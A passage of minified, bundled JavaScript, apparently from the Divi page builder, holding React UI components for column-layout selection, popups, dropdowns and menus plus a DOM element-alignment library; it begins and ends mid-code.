o=n(1),r=n.n(o),i=n(242),a=n.n(i),s=(n(28),n(22)),l=n.n(s),u=n(37),c=n.n(u),d=(n(1502),n(59),n(7)),p=n.n(d),f=n(34),h=n.n(f),m=n(11),g=n.n(m),v=n(199),b=n.n(v),y=n(12),_=a()({displayName:"ETBuilderSettingsColumn",mixin:[c.a],render:function(){var e=this,t=this.props.row,n=t.props.section_parent,o=ETBuilderBackend.columnLayouts,i=p()(o[n])?[]:o[n],a="specialty"===n?"":h()(t.props.children,function(e){return e.attrs.type}).join(",");if("specialty"===n){var s=[],u=i[t.props.specialty_layout].columns;g()(b()(u),function(e){var t=[];e+=1;g()(b()(e),function(n){var o=1===e?"4_4":"1_"+e;t.push(o)}),s.push(t.join(","))}),i=s}this.props.setMaxItemIndex(i.length,"modules_all");var c=i.map(function(t,o){var i=t,s=h()(i.split(","),function(e){return e.split("_")}),u={};i===a&&(u["et-fb-column-layout--selected"]=!0),e.props.selectedItemIndex===o+1&&(u["et-fb-selected-item"]=!0),u["et-fb-product-tour-element"]="selectRow"===e.props.currentTourElement&&"1_3,1_3,1_3"===i;var c=s.map(function(e,t){var a={width:parseInt(e[0])/parseInt(e[1])*100+"%"};return r.a.createElement("span",{key:"blocks-"+o+"-"+t,"data-layout":i,className:"column-block-wrap",style:a},r.a.createElement("span",{className:"column-block","data-layout":i,"data-section":n},e[0],"/",e[1]))});return r.a.createElement("li",{className:l()(u),"data-layout":i,onClick:e._onClickAction,onMouseUp:e._onMouseUp,key:"column-"+o},c)});return r.a.createElement("ul",{className:"et-fb-columns-layout"},c)},_onMouseUp:function(e){this._onClickAction(e),y.b.cancelTooltip()},_onClickAction:function(e){var t=e.target.getAttribute("data-layout"),n="specialty"===this.props.row.props.section_parent?"et_pb_row_inner":"et_pb_row";p()(this.props._onClick)?this._changeStructure(e,t):this.props._onClick(t,n)},_changeStructure:function(e,t){e.target.getAttribute("data-layout");y.b.rowColumnChange(this.props.row,t)}});t.a=_},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";var o,r=n(1),i=n.n(r),a=n(119),s=n.n(a),l=n(4),u=n.n(l),c=n(46),d=n.n(c),p=n(22),f=n.n(p),h=(n(1471),n(3)),m=n(19),g=(n(1472),n(12));function v(e){return(v="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var b={Webkit:"-webkit-",Moz:"-moz-",ms:"-ms-",O:"-o-"};function y(){if(void 0!==o)return o;o="";var e=document.createElement("p").style;for(var t in b)t+"Transform"in e&&(o=t);return o}function _(){return y()?"".concat(y(),"TransitionProperty"):"transitionProperty"}function k(){return y()?"".concat(y(),"Transform"):"transform"}function w(e,t){var n=_();n&&(e.style[n]=t,"transitionProperty"!==n&&(e.style.transitionProperty=t))}function C(e,t){var n=k();n&&(e.style[n]=t,"transform"!==n&&(e.style.transform=t))}var E,O=/matrix\((.*)\)/,S=/matrix3d\((.*)\)/;function T(e){var t=e.style.display;e.style.display="none",e.offsetHeight,e.style.display=t}function M(e,t,n){var o=n;if("object"!==v(t))return void 0!==o?("number"==typeof o&&(o="".concat(o,"px")),void(e.style[t]=o)):E(e,t);for(var r in t)t.hasOwnProperty(r)&&M(e,r,t[r])}function x(e,t){var n=e["page".concat(t?"Y":"X","Offset")],o="scroll".concat(t?"Top":"Left");if("number"!=typeof n){var r=e.document;"number"!=typeof(n=r.documentElement[o])&&(n=r.body[o])}return n}function P(e){return x(e)}function j(e){return x(e,!0)}function L(e){var t=function(e){var t,n,o,r=e.ownerDocument,i=r.body,a=r&&r.documentElement;return n=(t=e.getBoundingClientRect()).left,o=t.top,{left:n-=a.clientLeft||i.clientLeft||0,top:o-=a.clientTop||i.clientTop||0}}(e),n=e.ownerDocument,o=n.defaultView||n.parentWindow;return t.left+=P(o),t.top+=j(o),t}function N(e){return null!=e&&e==e.window}function D(e){return N(e)?e.document:9===e.nodeType?e:e.ownerDocument}var A=new RegExp("^(".concat(/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,")(?!px)[a-z%]+$"),"i"),F=/^(top|right|bottom|left)$/,I="currentStyle",R="runtimeStyle",B="left",W="px";function V(e,t){return"left"===e?t.useCssRight?"right":e:t.useCssBottom?"bottom":e}function H(e){return"left"===e?"right":"right"===e?"left":"top"===e?"bottom":"bottom"===e?"top":void 0}function G(e,t,n){"static"===M(e,"position")&&(e.style.position="relative");var o=-999,r=-999,i=V("left",n),a=V("top",n),s=H(i),l=H(a);"left"!==i&&(o=999),"top"!==a&&(r=999);var u,c="",d=L(e);("left"in t||"top"in t)&&(c=(u=e).style.transitionProperty||u.style[_()]||"",w(e,"none")),"left"in t&&(e.style[s]="",e.style[i]="".concat(o,"px")),"top"in t&&(e.style[l]="",e.style[a]="".concat(r,"px")),T(e);var p=L(e),f={};for(var h in t)if(t.hasOwnProperty(h)){var m=V(h,n),g="left"===h?o:r,v=d[h]-p[h];f[m]=m===h?g+v:g-v}M(e,f),T(e),("left"in t||"top"in t)&&w(e,c);var b={};for(var y in t)if(t.hasOwnProperty(y)){var k=V(y,n),C=t[y]-d[y];b[k]=y===k?f[k]+C:f[k]-C}M(e,b)}function U(e,t){var n=L(e),o=function(e){var t=window.getComputedStyle(e,null),n=t.getPropertyValue("transform")||t.getPropertyValue(k());if(n&&"none"!==n){var o=n.replace(/[^0-9\-.,]/g,"").split(",");return{x:parseFloat(o[12]||o[4],0),y:parseFloat(o[13]||o[5],0)}}return{x:0,y:0}}(e),r={x:o.x,y:o.y};"left"in t&&(r.x=o.x+t.left-n.left),"top"in t&&(r.y=o.y+t.top-n.top),function(e,t){var n=window.getComputedStyle(e,null),o=n.getPropertyValue("transform")||n.getPropertyValue(k());if(o&&"none"!==o){var r,i=o.match(O);i?((r=(i=i[1]).split(",").map(function(e){return parseFloat(e,10)}))[4]=t.x,r[5]=t.y,C(e,"matrix(".concat(r.join(","),")"))):((r=o.match(S)[1].split(",").map(function(e){return parseFloat(e,10)}))[12]=t.x,r[13]=t.y,C(e,"matrix3d(".concat(r.join(","),")")))}else C(e,"translateX(".concat(t.x,"px) translateY(").concat(t.y,"px) translateZ(0)"))}(e,r)}function z(e,t){for(var n=0;n<e.length;n++)t(e[n])}function q(e){return"border-box"===E(e,"boxSizing")}"undefined"!=typeof window&&(E=window.getComputedStyle?function(e,t,n){var o=n,r="",i=D(e);return(o=o||i.defaultView.getComputedStyle(e,null))&&(r=o.getPropertyValue(t)||o[t]),r}:function(e,t){var n=e[I]&&e[I][t];if(A.test(n)&&!F.test(t)){var o=e.style,r=o[B],i=e[R][B];e[R][B]=e[I][B],o[B]="fontSize"===t?"1em":n||0,n=o.pixelLeft+W,o[B]=r,e[R][B]=i}return""===n?"auto":n});var K=["margin","border","padding"],$=-1,X=2,Y=1;function J(e,t,n){var o,r,i,a=0;for(r=0;r<t.length;r++)if(o=t[r])for(i=0;i<n.length;i++){var s=void 0;s="border"===o?"".concat(o).concat(n[i],"Width"):o+n[i],a+=parseFloat(E(e,s))||0}return a}var Q={getParent:function(e){var t=e;do{t=11===t.nodeType&&t.host?t.host:t.parentNode}while(t&&1!==t.nodeType&&9!==t.nodeType);return t}};function Z(e,t,n){var o=n;if(N(e))return"width"===t?Q.viewportWidth(e):Q.viewportHeight(e);if(9===e.nodeType)return"width"===t?Q.docWidth(e):Q.docHeight(e);var r="width"===t?["Left","Right"]:["Top","Bottom"],i="width"===t?e.getBoundingClientRect().width:e.getBoundingClientRect().height,a=(E(e),q(e)),s=0;(null==i||i<=0)&&(i=void 0,(null==(s=E(e,t))||Number(s)<0)&&(s=e.style[t]||0),s=parseFloat(s)||0),void 0===o&&(o=a?Y:$);var l=void 0!==i||a,u=i||s;return o===$?l?u-J(e,["border","padding"],r):s:l?o===Y?u:u+(o===X?-J(e,["border"],r):J(e,["margin"],r)):s+J(e,K.slice(o),r)}z(["Width","Height"],function(e){Q["doc".concat(e)]=function(t){var n=t.document;return Math.max(n.documentElement["scroll".concat(e)],n.body["scroll".concat(e)],Q["viewport".concat(e)](n))},Q["viewport".concat(e)]=function(t){var n="client".concat(e),o=t.document,r=o.body,i=o.documentElement[n];return"CSS1Compat"===o.compatMode&&i||r&&r[n]||i}});var ee={position:"absolute",visibility:"hidden",display:"block"};function te(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];var o,r=t[0];return 0!==r.offsetWidth?o=Z.apply(void 0,t):function(e,t,n){var o,r={},i=e.style;for(o in t)t.hasOwnProperty(o)&&(r[o]=i[o],i[o]=t[o]);for(o in n.call(e),t)t.hasOwnProperty(o)&&(i[o]=r[o])}(r,ee,function(){o=Z.apply(void 0,t)}),o}function ne(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e}z(["width","height"],function(e){var t=e.charAt(0).toUpperCase()+e.slice(1);Q["outer".concat(t)]=function(t,n){return t&&te(t,e,n?0:Y)};var n="width"===e?["Left","Right"]:["Top","Bottom"];Q[e]=function(t,o){var r=o;if(void 0===r)return t&&te(t,e,$);if(t){E(t);return q(t)&&(r+=J(t,["padding","border"],n)),M(t,e,r)}}});var oe={getWindow:function(e){if(e&&e.document&&e.setTimeout)return e;var t=e.ownerDocument||e;return t.defaultView||t.parentWindow},getDocument:D,offset:function(e,t,n){if(void 0===t)return L(e);!function(e,t,n){if(n.ignoreShake){var o=L(e),r=o.left.toFixed(0),i=o.top.toFixed(0),a=t.left.toFixed(0),s=t.top.toFixed(0);if(r===a&&i===s)return}n.useCssRight||n.useCssBottom?G(e,t,n):n.useCssTransform&&k()in document.body.style?U(e,t):G(e,t,n)}(e,t,n||{})},isWindow:N,each:z,css:M,clone:function(e){var t,n={};for(t in e)e.hasOwnProperty(t)&&(n[t]=e[t]);if(e.overflow)for(t in e)e.hasOwnProperty(t)&&(n.overflow[t]=e.overflow[t]);return n},mix:ne,getWindowScrollLeft:function(e){return P(e)},getWindowScrollTop:function(e){return j(e)},merge:function(){for(var e={},t=0;t<arguments.length;t++)oe.mix(e,t<0||arguments.length<=t?void 0:arguments[t]);return e},viewportWidth:0,viewportHeight:0};ne(oe,Q);var re=oe.getParent;function ie(e){if(oe.isWindow(e)||9===e.nodeType)return null;var t,n=oe.getDocument(e).body,o=oe.css(e,"position");if(!("fixed"===o||"absolute"===o))return"html"===e.nodeName.toLowerCase()?null:re(e);for(t=re(e);t&&t!==n&&9!==t.nodeType;t=re(t))if("static"!==(o=oe.css(t,"position")))return t;return null}var ae=oe.getParent;function se(e,t){for(var n={left:0,right:1/0,top:0,bottom:1/0},o=ie(e),r=oe.getDocument(e),i=r.defaultView||r.parentWindow,a=r.body,s=r.documentElement;o;){if(-1!==navigator.userAgent.indexOf("MSIE")&&0===o.clientWidth||o===a||o===s||"visible"===oe.css(o,"overflow")){if(o===a||o===s)break}else{var l=oe.offset(o);l.left+=o.clientLeft,l.top+=o.clientTop,n.top=Math.max(n.top,l.top),n.right=Math.min(n.right,l.left+o.clientWidth),n.bottom=Math.min(n.bottom,l.top+o.clientHeight),n.left=Math.max(n.left,l.left)}o=ie(o)}var u=null;oe.isWindow(e)||9===e.nodeType||(u=e.style.position,"absolute"===oe.css(e,"position")&&(e.style.position="fixed"));var c=oe.getWindowScrollLeft(i),d=oe.getWindowScrollTop(i),p=oe.viewportWidth(i),f=oe.viewportHeight(i),h=s.scrollWidth,m=s.scrollHeight,g=window.getComputedStyle(a);if("hidden"===g.overflowX&&(h=i.innerWidth),"hidden"===g.overflowY&&(m=i.innerHeight),e.style&&(e.style.position=u),t||function(e){if(oe.isWindow(e)||9===e.nodeType)return!1;var t=oe.getDocument(e).body,n=null;for(n=ae(e);n&&n!==t;n=ae(n))if("fixed"===oe.css(n,"position"))return!0;return!1}(e))n.left=Math.max(n.left,c),n.top=Math.max(n.top,d),n.right=Math.min(n.right,c+p),n.bottom=Math.min(n.bottom,d+f);else{var v=Math.max(h,c+p);n.right=Math.min(n.right,v);var b=Math.max(m,d+f);n.bottom=Math.min(n.bottom,b)}return n.top>=0&&n.left>=0&&n.bottom>n.top&&n.right>n.left?n:null}function le(e){var t,n,o;if(oe.isWindow(e)||9===e.nodeType){var r=oe.getWindow(e);t={left:oe.getWindowScrollLeft(r),top:oe.getWindowScrollTop(r)},n=oe.viewportWidth(r),o=oe.viewportHeight(r)}else t=oe.offset(e),n=oe.outerWidth(e),o=oe.outerHeight(e);return t.width=n,t.height=o,t}function ue(e,t){var n=t.charAt(0),o=t.charAt(1),r=e.width,i=e.height,a=e.left,s=e.top;return"c"===n?s+=i/2:"b"===n&&(s+=i),"c"===o?a+=r/2:"r"===o&&(a+=r),{left:a,top:s}}function ce(e,t,n,o,r){var i=ue(t,n[1]),a=ue(e,n[0]),s=[a.left-i.left,a.top-i.top];return{left:Math.round(e.left-s[0]+o[0]-r[0]),top:Math.round(e.top-s[1]+o[1]-r[1])}}function de(e,t,n){return e.left<n.left||e.left+t.width>n.right}function pe(e,t,n){return e.top<n.top||e.top+t.height>n.bottom}function fe(e,t,n){var o=[];return oe.each(e,function(e){o.push(e.replace(t,function(e){return n[e]}))}),o}function he(e,t){return e[t]=-e[t],e}function me(e,t){return(/%$/.test(e)?parseInt(e.substring(0,e.length-1),10)/100*t:parseInt(e,10))||0}function ge(e,t){e[0]=me(e[0],t.width),e[1]=me(e[1],t.height)}function ve(e,t,n,o){var r=n.points,i=n.offset||[0,0],a=n.targetOffset||[0,0],s=n.overflow,l=n.source||e;i=[].concat(i),a=[].concat(a);var u={},c=0,d=se(l,!(!(s=s||{})||!s.alwaysByViewport)),p=le(l);ge(i,p),ge(a,t);var f=ce(p,t,r,i,a),h=oe.merge(p,f);if(d&&(s.adjustX||s.adjustY)&&o){if(s.adjustX&&de(f,p,d)){var m=fe(r,/[lr]/gi,{l:"r",r:"l"}),g=he(i,0),v=he(a,0);(function(e,t,n){return e.left>n.right||e.left+t.width<n.left})(ce(p,t,m,g,v),p,d)||(c=1,r=m,i=g,a=v)}if(s.adjustY&&pe(f,p,d)){var b=fe(r,/[tb]/gi,{t:"b",b:"t"}),y=he(i,1),_=he(a,1);(function(e,t,n){return e.top>n.bottom||e.top+t.height<n.top})(ce(p,t,b,y,_),p,d)||(c=1,r=b,i=y,a=_)}c&&(f=ce(p,t,r,i,a),oe.mix(h,f));var k=de(f,p,d),w=pe(f,p,d);if(k||w){var C=r;k&&(C=fe(r,/[lr]/gi,{l:"r",r:"l"})),w&&(C=fe(r,/[tb]/gi,{t:"b",b:"t"})),r=C,i=n.offset||[0,0],a=n.targetOffset||[0,0]}u.adjustX=s.adjustX&&k,u.adjustY=s.adjustY&&w,(u.adjustX||u.adjustY)&&(h=function(e,t,n,o){var r=oe.clone(e),i={width:t.width,height:t.height};return o.adjustX&&r.left<n.left&&(r.left=n.left),o.resizeWidth&&r.left>=n.left&&r.left+i.width>n.right&&(i.width-=r.left+i.width-n.right),o.adjustX&&r.left+i.width>n.right&&(r.left=Math.max(n.right-i.width,n.left)),o.adjustY&&r.top<n.top&&(r.top=n.top),o.resizeHeight&&r.top>=n.top&&r.top+i.height>n.bottom&&(i.height-=r.top+i.height-n.bottom),o.adjustY&&r.top+i.height>n.bottom&&(r.top=Math.max(n.bottom-i.height,n.top)),oe.mix(r,i)}(f,p,d,u))}return h.width!==p.width&&oe.css(l,"width",oe.width(l)+h.width-p.width),h.height!==p.height&&oe.css(l,"height",oe.height(l)+h.height-p.height),oe.offset(l,{left:h.left,top:h.top},{useCssRight:n.useCssRight,useCssBottom:n.useCssBottom,useCssTransform:n.useCssTransform,ignoreShake:n.ignoreShake}),{points:r,offset:i,targetOffset:a,overflow:u}}function be(e,t,n){var o=n.target||t;return ve(e,le(o),n,!function(e,t){var n=se(e,t),o=le(e);return!n||o.left+o.width<=n.left||o.top+o.height<=n.top||o.left>=n.right||o.top>=n.bottom}(o,n.overflow&&n.overflow.alwaysByViewport))}be.__getOffsetParent=ie,be.__getVisibleRectForElement=se;var ye=n(25),_e=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},ke=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var we=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),ke(t,[{key:"render",value:function(){var e=this.props,t=e.children,n=e.enabled,o=e.scale,r=i.a.Children.only(t);return i.a.createElement(ye.Motion,{defaultStyle:{scale:o,opacity:0},style:{scale:n?Object(ye.spring)(1,{stiffness:300,damping:20}):1,opacity:n?Object(ye.spring)(1,{stiffness:300,damping:20}):1}},function(e){return i.a.cloneElement(r,{style:_e({},r.props.style,{opacity:e.opacity,transform:"scale( "+e.scale+" )"})})})}}]),t}();we.propTypes={enabled:u.a.bool,scale:u.a.number,children:u.a.element.isRequired},we.defaultProps={enabled:!0,scale:.5};var Ce=we,Ee=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Oe=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Se=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),Oe(t,[{key:"render",value:function(){var e=this.props,t=e.children,n=e.enabled,o=e.scale,r=i.a.Children.only(t);return i.a.createElement(ye.Motion,{defaultStyle:{scale:o,opacity:0},style:{scale:n?Object(ye.spring)(1,{stiffness:300,damping:20}):1,opacity:n?Object(ye.spring)(1,{stiffness:300,damping:20}):1}},function(e){return i.a.cloneElement(r,{style:Ee({},r.props.style,{opacity:e.opacity,transform:"scaleY( "+e.scale+" )",transformOrigin:"top"})})})}}]),t}();Se.propTypes={enabled:u.a.bool,scale:u.a.number,children:u.a.element.isRequired},Se.defaultProps={enabled:!0,scale:.6};var Te,Me=Se,xe=n(278),Pe=(n(1473),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),je=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function Le(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Ne=(Le(Te={},"fold",{points:["tl","bl"]}),Le(Te,"popup",{points:["tl","tl"],offset:["50%","50%"]}),Te),De=function(e,t,n){var o=ReactDOM.unstable_batchedUpdates?function(e){ReactDOM.unstable_batchedUpdates(n,e)}:n;return e.addEventListener&&e.addEventListener(t,o),{remove:function(){e.removeEventListener(t,o)}}},Ae=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleDocumentClick=function(e){var t=e.target;n.props.ignoreDocumentClicks||Object(xe.c)(n.props.anchor.current,t)||Object(xe.c)(n.popupRef.current,t)||n.props.onClose()},n.handlerOutsideClick=null,n.handlerOutsideTouch=null,n.popupRef=i.a.createRef(),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),je(t,[{key:"componentDidMount",value:function(){var e=this.props.getDocument();this.handlerOutsideClick=De(e,"mousedown",this.handleDocumentClick),this.handlerOutsideTouch=De(e,"touchstart",this.handleDocumentClick),this.alignPopup()}},{key:"componentWillUnmount",value:function(){this.handlerOutsideClick.remove(),this.handlerOutsideTouch.remove()}},{key:"componentDidUpdate",value:function(e){e.visible!==this.props.visible&&this.alignPopup()}},{key:"alignPopup",value:function(){var e=this.props,t=e.animation,n=e.anchor,o=e.offsetH,r=e.offsetV;if(e.visible){var i=Pe({},Ne[t],{targetOffset:[-o,-r]});be(this.popupRef.current,n.current,i)}}},{key:"renderPopup",value:function(){var e=this.props,t=e.anchor,n=e.style,o=e.onMouseEnter,r=e.onMouseLeave,a=e.children,s=t.current?t.current.offsetWidth:0;return i.a.createElement("div",{className:"et-core-popup__wrapper",ref:this.popupRef,onMouseEnter:o,onMouseLeave:r,style:Pe({width:s},n)},a)}},{key:"render",value:function(){var e=this.props,t=e.animation,n=e.animationEnabled;if(!e.visible)return null;var o=this.renderPopup();return"popup"===t?i.a.createElement(Ce,{enabled:n},o):i.a.createElement(Me,{enabled:n},o)}}]),t}();Ae.propTypes={anchor:u.a.shape({current:xe.g}),animation:u.a.oneOf(["popup","fold"]),animationEnabled:u.a.bool,getDocument:u.a.func,ignoreDocumentClicks:u.a.bool,offsetH:u.a.number,offsetV:u.a.number,onClose:u.a.func,onMouseEnter:u.a.func,onMouseLeave:u.a.func,style:u.a.object,visible:u.a.bool},Ae.defaultProps={animation:"popup",animationEnabled:!0,getDocument:function(){return window.document},ignoreDocumentClicks:!1,offsetH:0,offsetV:0,onClose:d.a,onMouseEnter:d.a,onMouseLeave:d.a,style:{},visible:!0};var Fe=Ae,Ie=(n(1474),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),Re=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Be="click",We="hover",Ve=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleTriggerClick=function(e){var t=n.props,o=t.trigger,r=t.onClick,i=t.open,a=t.closeOnClick;if(Be===o)if(a){var s=void 0!==i?i:n.state.isVisible;n.setVisible(!s)}else n.setVisible(!0);r(e)},n.handleMouseEnter=function(e){var t=n.props,o=t.trigger,r=t.onMouseEnter;We===o&&n.setVisible(!0),r(e)},n.handleMouseLeave=function(e){var t=n.props,o=t.trigger,r=t.onMouseLeave;We===o&&n.setVisible(!1),r(e)},n.onSelect=function(e){var t=n.props.onSelect;n.setVisible(!1),t(e)},n.close=function(){n.setVisible(!1)},n.triggerRef=i.a.createRef(),n.state={isVisible:!1},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),Re(t,[{key:"setVisible",value:function(e){var t=this.props,n=t.open,o=t.onVisibleChange;void 0===n&&this.setState({isVisible:e}),o(e)}},{key:"renderMenu",value:function(){if(!this.visible)return null;var e=this.props,t=e.menu,n=e.animation,o=e.offsetV,r=e.getDocument,a=this.triggerRef.current?this.triggerRef.current.offsetWidth:0,s=i.a.Children.only(t),l=i.a.cloneElement(s,{style:Ie({},s.props.style,{width:s.props.style&&s.props.style.width?s.props.style.width:a}),onSelect:this.onSelect});return i.a.createElement(Ae,{anchor:this.triggerRef,animation:n,getDocument:r,visible:this.visible,offsetV:o,onClose:this.close},l)}},{key:"render",value:function(){var e=this.props,t=e.children,n=e.disabled,o=i.a.Children.only(t),r=i.a.cloneElement(o,{className:f()(o.props.className,"et-core-control-dropdown"),onClick:this.handleTriggerClick,onMouseEnter:this.handleMouseEnter,onMouseLeave:this.handleMouseLeave,ref:Object(xe.a)(o.ref,this.triggerRef),disabled:n}),a=this.renderMenu();return i.a.createElement(i.a.Fragment,null,r,a)}},{key:"visible",get:function(){var e=this.props.open;return void 0!==e?e:this.state.isVisible}}]),t}();Ve.propTypes={animation:u.a.oneOf(["fold","popup"]),closeOnClick:u.a.bool,disabled:u.a.bool,getDocument:u.a.func,menu:u.a.element,offsetH:u.a.number,offsetV:u.a.number,onClick:u.a.func,onMouseEnter:u.a.func,onMouseLeave:u.a.func,onVisibleChange:u.a.func,onSelect:u.a.func,open:u.a.bool,trigger:u.a.oneOf([Be,We])},Ve.defaultProps={animation:"fold",closeOnClick:!1,disabled:!1,getDocument:function(){return window.document},menu:!1,offsetH:0,offsetV:0,onClick:d.a,onMouseEnter:d.a,onMouseLeave:d.a,onVisibleChange:d.a,trigger:Be};var He=Ve,Ge=n(1081),Ue=(n(1475),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),ze=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var qe=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleMouseEnter=function(){n.mouseEntered=!0,n.props.onMouseEnter()},n.handleMouseLeave=function(){n.mouseEntered=!1,n.props.onMouseLeave()},n.renderMenuItem=function(e){if(!e)return null;if(Ge.isFragment(e))return i.a.Children.map(e.props.children,n.renderMenuItem);var t=e.key,o=n.props,r=o.selectedKey,a=o.onSelect,s=t||n.currentIndex,l=s===r;return n.currentIndex++,i.a.cloneElement(e,{itemKey:s,isSelected:l,onSelect:a})},n.mouseEntered=!1,n.currentIndex=0,n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),ze(t,[{key:"renderMenuItems",value:function(){var e=this.props,t=e.customRender,n=e.children;this.currentIndex=0;var o=i.a.createElement("ul",{className:"et-core-control-menu"},i.a.Children.map(n,this.renderMenuItem));return t?t(o):o}},{key:"render",value:function(){var e=this.props.forwardedRef;return i.a.createElement("div",{className:"et-core-control-menu__wrapper",style:this.props.style,ref:e,onMouseEnter:this.handleMouseEnter,onMouseLeave:this.handleMouseLeave},this.renderMenuItems())}}]),t}();qe.propTypes={selectedKey:u.a.string,onMouseEnter:u.a.func,onMouseLeave:u.a.func,customRender:u.a.func},qe.defaultProps={onMouseEnter:d.a,onMouseLeave:d.a,customRender:d.a};var Ke=i.a.forwardRef(function(e,t){return i.a.createElement(qe,Ue({},e,{forwardedRef:t}))}),$e=n(40),Xe=n(1476),Ye=n.n(Xe),Je=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Qe=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleMouseEnter=function(){n.setState({hovered:!0})},n.handleMouseLeave=function(){n.setState({hovered:!1})},n.handleMouseDown=function(e){if(1===e.nativeEvent.which){var 